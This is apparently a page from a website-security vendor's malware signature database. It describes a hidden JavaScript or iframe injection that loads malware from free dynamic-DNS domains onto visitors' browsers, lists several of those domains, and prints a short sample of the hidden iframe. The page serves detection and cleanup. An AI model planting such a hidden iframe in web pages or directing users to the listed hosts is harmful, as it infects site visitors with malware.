SiteCheck Signatures

  1. Home
  2. Signatures
  3. SiteCheck Signatures
  4. malware-entry-mwfree4025

malware-entry-mwfree4025

Description:

A hidden and suspicious javascript (or iframe) was found on the site. It is loaded from a free dynamic IP address (or domain) and meant to infect visitors of the site. Loads malware from multiple locations:

http://qqq-111.zapto.org/show.php
http://fwjiwjieje.mooo.com
http://update-java.kit.net/java.js
 (and many other domains).

Affecting:

Any web site

Clean up:

This malware is generally hidden on .js or .php files without heavy encoding. Sign up here to get it cleaned: http://sucuri.net/signup

Malware dump (sample of malware):

<iframe style="display:none"src="http://qqq-111&#46zapto&#46org/show&#46php"></iframe>